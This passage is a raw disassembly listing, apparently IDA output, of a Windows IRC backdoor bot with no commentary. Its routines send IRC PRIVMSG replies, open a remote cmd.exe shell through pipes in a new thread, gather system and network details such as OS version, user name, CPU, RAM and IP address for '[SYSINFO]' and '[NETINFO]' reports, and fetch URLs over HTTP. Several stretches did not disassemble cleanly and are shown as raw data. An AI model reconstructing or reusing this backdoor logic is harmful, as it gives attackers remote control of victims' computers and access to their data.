[ebp+10h] lea eax, [ebp-200h] push dword ptr [ebp+0Ch] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_4154CD add esp, 10h jmp short loc_40A65F ; --------------------------------------------------------------------------- loc_40A648: ; CODE XREF: seg000:0040A61Fj push dword ptr [ebp+10h] lea eax, [ebp-200h] push offset aS_1 ; "%s" push eax call sub_4154CD add esp, 0Ch loc_40A65F: ; CODE XREF: seg000:0040A646j lea eax, [ebp-200h] push 0 push eax call sub_415CD0 pop ecx push eax lea eax, [ebp-200h] push eax push dword ptr [ebp+8] call ds:dword_43A3C8 ; send test eax, eax jg short loc_40A688 call sub_40A59D loc_40A688: ; CODE XREF: seg000:0040A681j xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40A68C: ; DATA XREF: sub_40A7E1+170o push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_43A6D0 push esi lea eax, [ebp-20Ch] push edi push eax call sub_415550 add esp, 0Ch lea eax, [ebp-4] push edi push edi push eax lea eax, [ebp-20Ch] push esi push eax push ds:dword_43A6C4 call near ptr 3D0000h or [ebp-647BF040h], al ; --------------------------------------------------------------------------- dd 39000000h, 2B75FC7Dh, 50F8458Dh, 0A6C035FFh, 15E80043h dd 8FFFFC59h, 0D74C085h, 3F87D81h, 0F000001h, 9985h, 0FF0A6A00h dd 42106015h, 339DEB00h, 0FC7D39C0h, 0BC801076h, 0FFFDF405h dd 54740AFFh, 0FC453B40h, 7589F072h, 858D56FCh, 0FFFFFDF4h dd 21E85057h, 830000AEh, 458D0CC4h, 0FF5057F4h, 858DFC75h dd 0FFFFFDF4h, 0C435FF50h, 0FF0043A6h, 42106815h, 74C08500h dd 0F4858D6Dh, 50FFFFFDh, 435FF53h, 0E80043A7h, 0FFFFFEA1h dd 0E90CC483h, 0FFFFFF38h, 0FC458940h, 0BC68AFEBh, 530042B5h dd 0A70435FFh, 82E80043h, 0FFFFFFFEh, 0AE80875h, 830000ABh dd 16A10C4h, 0FC586BE8h, 2E8E6FFh, 68FFFFFEh, 42B580h dd 435FF53h, 0E80043A7h, 0FFFFFE59h, 0E80875FFh, 0AAE1h dd 5710C483h, 0FC5843E8h, 3C68CFFFh, 530042B5h, 0A70435FFh dd 36E80043h, 0FFFFFFFEh, 0BEE80875h, 830000AAh, 0E85710C4h dd 0FFFC5820h ; --------------------------------------------------------------------------- scasd ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7E1 proc near ; CODE XREF: seg000:0040B5CEp ; seg000:00411FFAp var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_40A59D xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call ds:dword_43A434 ; SearchPathA test eax, eax jz loc_40A8DB push 1 lea eax, [ebp+var_1C] pop ebx mov edi, ds:dword_421108 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi ; CreatePipe test eax, eax jz loc_40A8DB lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi ; CreatePipe test eax, eax jz loc_40A8DB mov edi, ds:dword_421104 push 3 push esi push esi push offset dword_43A6C8 call edi ; GetCurrentProcess push eax push [ebp+var_8] call edi ; GetCurrentProcess push eax call near ptr 3D0000h pop es test eax, eax jz short loc_40A8DB push 10h lea eax, [ebp+var_2C] push esi push eax call sub_415550 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_415550 mov eax, [ebp+var_4] loc_40A899: ; DATA XREF: seg002:00424ED4o ; seg002:00424F18o ... add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_438F9C push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call near ptr 3D0000h mov ds:875C085h, eax loc_40A8DB: ; CODE XREF: sub_40A7E1+2Fj ; sub_40A7E1+5Cj ... or eax, 0FFFFFFFFh jmp loc_40A991 ; --------------------------------------------------------------------------- push [ebp+var_4] mov edi, ds:dword_42106C call edi ; CloseHandle mov eax, [ebp+var_10] push [ebp+var_28] mov ds:dword_43A6C4, eax mov eax, [ebp+var_8] mov ds:dword_43A6CC, eax mov eax, [ebp+var_2C] mov ds:dword_43A6C0, eax call edi ; CloseHandle mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov ds:dword_43A704, eax jz short loc_40A91D push [ebp+arg_4] jmp short loc_40A91E ; --------------------------------------------------------------------------- loc_40A91D: ; CODE XREF: sub_40A7E1+135j push ebx loc_40A91E: ; CODE XREF: sub_40A7E1+13Aj push offset dword_43A6D0 call sub_4154CD pop ecx pop ecx push esi push 7 push offset dword_42B648 call sub_414F79 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov ds:dword_43F510[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset loc_40A68C push esi push esi call ds:dword_42108C ; CreateThread cmp eax, esi mov ds:dword_43F51C[edi], eax jnz short loc_40A98F call ds:dword_421088 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_378] push offset dword_42B600 push eax call sub_4154CD lea eax, [ebp+var_378] push eax call sub_40B151 add esp, 10h loc_40A98F: ; CODE XREF: sub_40A7E1+185j xor eax, eax loc_40A991: ; CODE XREF: sub_40A7E1+FDj pop edi pop esi pop ebx leave retn sub_40A7E1 endp ; =============== S U B R O U T I N E ======================================= sub_40A996 proc near ; CODE XREF: sub_407119+74p ; sub_40AAB5+217p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call ds:dword_42104C ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_43A70C push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_415A4A add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_40A996 endp ; =============== S U B R O U T I N E ======================================= sub_40A9FF proc near ; CODE XREF: sub_40AAB5+290p push ebx push esi push edi mov esi, 0F4240h loc_40AA07: ; CODE XREF: sub_40A9FF+2Fj ; sub_40A9FF+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call ds:dword_421060 ; Sleep rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_4172C0 mov edi, edx mov ebx, eax test edi, edi ja short loc_40AA07 jb short loc_40AA36 cmp ebx, esi ja short loc_40AA07 loc_40AA36: ; CODE XREF: sub_40A9FF+31j push 0 push 64h push edi push ebx call sub_417240 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_40AAA9 jb short loc_40AA55 cmp esi, 50h jnb short loc_40AA5A loc_40AA55: ; CODE XREF: sub_40A9FF+4Fj push 4Bh xor edx, edx pop eax loc_40AA5A: ; CODE XREF: sub_40A9FF+54j test ecx, ecx ja short loc_40AAA9 jb short loc_40AA65 cmp esi, 47h jnb short loc_40AA6A loc_40AA65: ; CODE XREF: sub_40A9FF+5Fj push 42h xor edx, edx pop eax loc_40AA6A: ; CODE XREF: sub_40A9FF+64j test ecx, ecx ja short loc_40AAA9 jb short loc_40AA75 cmp esi, 37h jnb short loc_40AA7A loc_40AA75: ; CODE XREF: sub_40A9FF+6Fj push 32h xor edx, edx pop eax loc_40AA7A: ; CODE XREF: sub_40A9FF+74j test ecx, ecx ja short loc_40AAA9 jb short loc_40AA85 cmp esi, 26h jnb short loc_40AA8A loc_40AA85: ; CODE XREF: sub_40A9FF+7Fj push 21h xor edx, edx pop eax loc_40AA8A: ; CODE XREF: sub_40A9FF+84j test ecx, ecx ja short loc_40AAA9 jb short loc_40AA95 cmp esi, 1Eh jnb short loc_40AA9A loc_40AA95: ; CODE XREF: sub_40A9FF+8Fj push 19h xor edx, edx pop eax loc_40AA9A: ; CODE XREF: sub_40A9FF+94j test ecx, ecx ja short loc_40AAA9 jb short loc_40AAA5 cmp esi, 0Ah jnb short loc_40AAA9 loc_40AAA5: ; CODE XREF: sub_40A9FF+9Fj xor eax, eax xor edx, edx loc_40AAA9: ; CODE XREF: sub_40A9FF+4Dj ; sub_40A9FF+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_40A9FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AAB5 proc near ; CODE XREF: seg000:0041225Ap var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_438F9C mov [ebp+var_CC], 94h call ds:dword_42110C ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_40AB3C cmp [ebp+var_C4], ebx jnz short loc_40AB18 cmp [ebp+var_BC], 1 jnz short loc_40AB02 mov [ebp+var_4], offset a95 ; "95" loc_40AB02: ; CODE XREF: sub_40AAB5+44j cmp [ebp+var_BC], 2 jnz loc_40ABB7 mov [ebp+var_4], offset aNt ; "NT" jmp short loc_40AB88 ; --------------------------------------------------------------------------- loc_40AB18: ; CODE XREF: sub_40AAB5+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_40AB2A mov [ebp+var_4], offset a98 ; "98" jmp short loc_40AB7F ; --------------------------------------------------------------------------- loc_40AB2A: ; CODE XREF: sub_40AAB5+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_40AB78 mov [ebp+var_4], offset aMe ; "ME" jmp short loc_40AB7F ; --------------------------------------------------------------------------- loc_40AB3C: ; CODE XREF: sub_40AAB5+33j cmp [ebp+var_C8], 5 jnz short loc_40AB78 cmp [ebp+var_C4], ebx jnz short loc_40AB56 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_40AB7F ; --------------------------------------------------------------------------- loc_40AB56: ; CODE XREF: sub_40AAB5+96j cmp [ebp+var_C4], 1 jnz short loc_40AB68 mov [ebp+var_4], offset aXp ; "XP" jmp short loc_40AB7F ; --------------------------------------------------------------------------- loc_40AB68: ; CODE XREF: sub_40AAB5+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_40AB7F loc_40AB78: ; CODE XREF: sub_40AAB5+7Cj ; sub_40AAB5+8Ej mov [ebp+var_4], offset dword_42B798 loc_40AB7F: ; CODE XREF: sub_40AAB5+73j ; sub_40AAB5+85j ... cmp [ebp+var_BC], 2 jnz short loc_40ABB7 loc_40AB88: ; CODE XREF: sub_40AAB5+61j cmp [ebp+var_B8], bl jz short loc_40ABB7 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_42B790 push eax call sub_4154CD lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_40ABB7: ; CODE XREF: sub_40AAB5+54j ; sub_40AAB5+D1j ... mov ax, ds:word_42B78C push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, ds:dword_43A264 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_40ABF0 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; GetUserNameA loc_40ABF0: ; CODE XREF: sub_40AAB5+12Cj push [ebp+arg_4] call sub_40A155 pop ecx push eax call ds:dword_43A3B8 ; inet_addr mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call ds:dword_43A330 ; gethostbyaddr cmp eax, ebx jz short loc_40AC19 push dword ptr [eax] jmp short loc_40AC1E ; --------------------------------------------------------------------------- loc_40AC19: ; CODE XREF: sub_40AAB5+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_40AC1E: ; CODE XREF: sub_40AAB5+162j lea eax, [ebp+var_3E4] push eax call sub_4154CD pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call near ptr 3D0000h dec ebx lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call near ptr 3D0000h and al, 8Dh test [esi+edi*8+466AFFFFh], esp push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call near ptr 3D0000h sub dword ptr [edx+20h], 53C8458Dh push eax call sub_415550 add esp, 0Ch lea eax, [ebp+var_38] push eax call near ptr 3D0000h cli push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_417328 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_40C30C push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_40A996 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40A155 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_40C1FC pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_40C1FC pop ecx pop ecx push eax call sub_40A9FF push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+arg_0] call sub_415A4A mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_40AAB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AD69 proc near ; CODE XREF: seg000:00411259p ; seg000:00412288p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_415550 add esp, 0Ch cmp ds:dword_43A460, 0 jnz short loc_40ADDD push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call ds:dword_43A248 ; InternetGetConnectedStateExA test eax, eax jnz short loc_40ADBE lea eax, [ebp+var_8C] push offset dword_42B80C push eax call sub_4154CD pop ecx pop ecx loc_40ADBE: ; CODE XREF: sub_40AD69+40j test [ebp+var_C], 1 jz short loc_40ADD6 push offset dword_42B804 loc_40ADC9: ; CODE XREF: sub_40AD69+72j lea eax, [ebp+var_8] push eax call sub_4154CD pop ecx pop ecx jmp short loc_40ADFC ; --------------------------------------------------------------------------- loc_40ADD6: ; CODE XREF: sub_40AD69+59j push offset dword_42B800 jmp short loc_40ADC9 ; --------------------------------------------------------------------------- loc_40ADDD: ; CODE XREF: sub_40AD69+28j mov esi, offset off_42B7FC lea eax, [ebp+var_8] push esi push eax call sub_4154CD lea eax, [ebp+var_8C] push esi push eax call sub_4154CD add esp, 10h loc_40ADFC: ; CODE XREF: sub_40AD69+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_40A155 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+arg_0] call sub_415A4A mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_40AD69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE2F proc near ; DATA XREF: seg000:0041142Eo var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_42B950 call sub_415550 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_415550 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_415550 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_415550 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_415550 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_415CD0 pop ecx push eax lea eax, [ebp+var_358] push eax call ds:dword_43A280 ; InternetCrackUrlA test eax, eax jz loc_40AFC9 cmp [ebp+var_34], ebx jbe short loc_40AF06 push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_416D20 add esp, 0Ch loc_40AF06: ; CODE XREF: sub_40AE2F+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_40AF24 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_416D20 add esp, 0Ch loc_40AF24: ; CODE XREF: sub_40AE2F+DEj cmp [ebp+var_20], ebx jbe short loc_40AF3E push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_416D20 add esp, 0Ch loc_40AF3E: ; CODE XREF: sub_40AE2F+F8j cmp [ebp+var_18], ebx jbe short loc_40AF58 push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_416D20 add esp, 0Ch loc_40AF58: ; CODE XREF: sub_40AE2F+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push ds:dword_43A328 call ds:dword_43A34C ; InternetConnectA mov esi, eax cmp esi, ebx jz short loc_40AFE1 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call ds:dword_43A340 ; HttpOpenRequestA cmp eax, ebx mov [ebp+var_4], eax jz short loc_40AFE8 push ebx push ebx push ebx push ebx push eax call ds:dword_43A2F4 ; HttpSendRequestA test eax, eax jz short loc_40AFC2 push offset dword_42B920 jmp short loc_40AFED ; --------------------------------------------------------------------------- loc_40AFC2: ; CODE XREF: sub_40AE2F+18Aj push offset unk_42B8D0 jmp short loc_40AFED ; --------------------------------------------------------------------------- loc_40AFC9: ; CODE XREF: sub_40AE2F+B7j lea eax, [ebp+var_55C] push offset dword_42B8A0 push eax call sub_4154CD mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_40AFFB ; --------------------------------------------------------------------------- loc_40AFE1: ; CODE XREF: sub_40AE2F+153j push offset unk_42B860 jmp short loc_40AFED ; --------------------------------------------------------------------------- loc_40AFE8: ; CODE XREF: sub_40AE2F+17Bj push offset unk_42B81C loc_40AFED: ; CODE XREF: sub_40AE2F+191j ; sub_40AE2F+198j ... lea eax, [ebp+var_55C] push eax call sub_4154CD pop ecx pop ecx loc_40AFFB: ; CODE XREF: sub_40AE2F+1B0j cmp [ebp+var_1D4], ebx jnz short loc_40B026 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_412D32 add esp, 14h loc_40B026: ; CODE XREF: sub_40AE2F+1D2j lea eax, [ebp+var_55C] push eax call sub_40B151 pop ecx push esi call ds:dword_43A3AC ; InternetCloseHandle push [ebp+var_4] call ds:dword_43A3AC ; InternetCloseHandle push [ebp+var_1D8] call sub_415295 pop ecx push ebx call near ptr 3D0000h das pop edi pop esi pop ebx sub_40AE2F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B059 proc near ; CODE XREF: seg000:0041118Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43E788 mov edi, 0B8h loc_40B06D: ; CODE XREF: sub_40B059+33j cmp byte ptr [esi], 0 jz short loc_40B090 push [ebp+arg_0] push esi call sub_4158F0 pop ecx test eax, eax pop ecx jz short loc_40B090 inc [ebp+var_4] add esi, edi cmp esi, offset dword_43F308 jl short loc_40B06D jmp short loc_40B0D2 ; --------------------------------------------------------------------------- loc_40B090: ; CODE XREF: sub_40B059+17j ; sub_40B059+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43E788[esi] push ebx call sub_415550 push 17h push [ebp+arg_0] push ebx call sub_416D20 push 9Fh lea eax, dword_43E7A0[esi] push [ebp+arg_4] push eax call sub_416D20 add esp, 24h inc ds:dword_42E764 pop ebx loc_40B0D2: ; CODE XREF: sub_40B059+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_40B059 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B0D9 proc near ; CODE XREF: seg000:004123C3p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_42B960 push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 add esp, 14h xor edi, edi mov esi, offset dword_43E788 loc_40B103: ; CODE XREF: sub_40B0D9+72j cmp byte ptr [esi], 0 jz short loc_40B13E lea eax, [esi+18h] push eax push esi push edi push offset dword_42B954 lea eax, [ebp+var_200] push 200h push eax call sub_415A4A push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 add esp, 2Ch loc_40B13E: ; CODE XREF: sub_40B0D9+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43F308 jl short loc_40B103 pop edi pop esi leave retn sub_40B0D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B151 proc near ; CODE XREF: start+97p ; seg000:004013C6p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call ds:dword_42105C ; GetLocalTime mov ebx, offset dword_43E744 mov edi, 80h mov esi, offset dword_43A744 loc_40B173: ; CODE XREF: sub_40B151+3Dj cmp byte ptr [ebx], 0 jz short loc_40B18A push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_416D20 add esp, 0Ch loc_40B18A: ; CODE XREF: sub_40B151+25j sub ebx, edi cmp ebx, esi jge short loc_40B173 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_415A4A add esp, 28h pop edi pop esi pop ebx leave retn sub_40B151 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B1C5 proc near ; CODE XREF: sub_407BE2+15Bp ; sub_407D6A+1AFp ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41746F lea eax, [ebp+var_80] push eax call sub_40B151 add esp, 14h leave retn sub_40B1C5 endp ; =============== S U B R O U T I N E ======================================= sub_40B1F1 proc near ; CODE XREF: seg000:004122BDp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_43A744 xor ecx, ecx loc_40B1F8: ; CODE XREF: sub_40B1F1+13j mov [eax], cl add eax, 80h cmp eax, offset dword_43E744 jl short loc_40B1F8 cmp [esp+arg_C], ecx push esi mov esi, offset dword_42B994 jnz short loc_40B228 push ecx push [esp+8+arg_8] push esi push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_412D32 add esp, 14h loc_40B228: ; CODE XREF: sub_40B1F1+1Fj push esi call sub_40B151 pop ecx pop esi retn sub_40B1F1 endp ; =============== S U B R O U T I N E ======================================= sub_40B231 proc near ; CODE XREF: sub_4033CB+298p arg_0 = dword ptr 4 push esi mov esi, offset dword_43A744 loc_40B237: ; CODE XREF: sub_40B231+27j cmp byte ptr [esi], 0 jz short loc_40B24C push [esp+4+arg_0] push esi call sub_409B26 pop ecx test eax, eax pop ecx jnz short loc_40B25E loc_40B24C: ; CODE XREF: sub_40B231+9j add esi, 80h cmp esi, offset dword_43E744 jl short loc_40B237 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40B25E: ; CODE XREF: sub_40B231+19j push 1 pop eax pop esi retn sub_40B231 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B263 proc near ; DATA XREF: seg000:0041236Do var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_40B2B6 push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_42B9FC push eax push [ebp+var_11C] call sub_412D32 add esp, 14h loc_40B2B6: ; CODE XREF: sub_40B263+33j cmp [ebp+var_98], 0 jz short loc_40B2D6 lea eax, [ebp+var_98] push eax call sub_415A3F test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_40B2D6 mov [ebp+var_8], eax loc_40B2D6: ; CODE XREF: sub_40B263+5Aj ; sub_40B263+6Ej and [ebp+arg_0], 0 mov esi, offset dword_43A744 loc_40B2DF: ; CODE XREF: sub_40B263+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_40B339 cmp byte ptr [esi], 0 jz short loc_40B328 cmp [ebp+var_98], 0 jz short loc_40B30E cmp [ebp+var_4], 0 jnz short loc_40B30E lea eax, [ebp+var_98] push eax push esi call sub_409B26 pop ecx test eax, eax pop ecx jz short loc_40B328 loc_40B30E: ; CODE XREF: sub_40B263+90j ; sub_40B263+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_412D32 add esp, 14h loc_40B328: ; CODE XREF: sub_40B263+87j ; sub_40B263+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_43E744 jl short loc_40B2DF loc_40B339: ; CODE XREF: sub_40B263+82j lea eax, [ebp+var_31C] push offset dword_42B9CC push eax call sub_4154CD xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_40B373 push esi lea eax, [ebp+var_31C] push 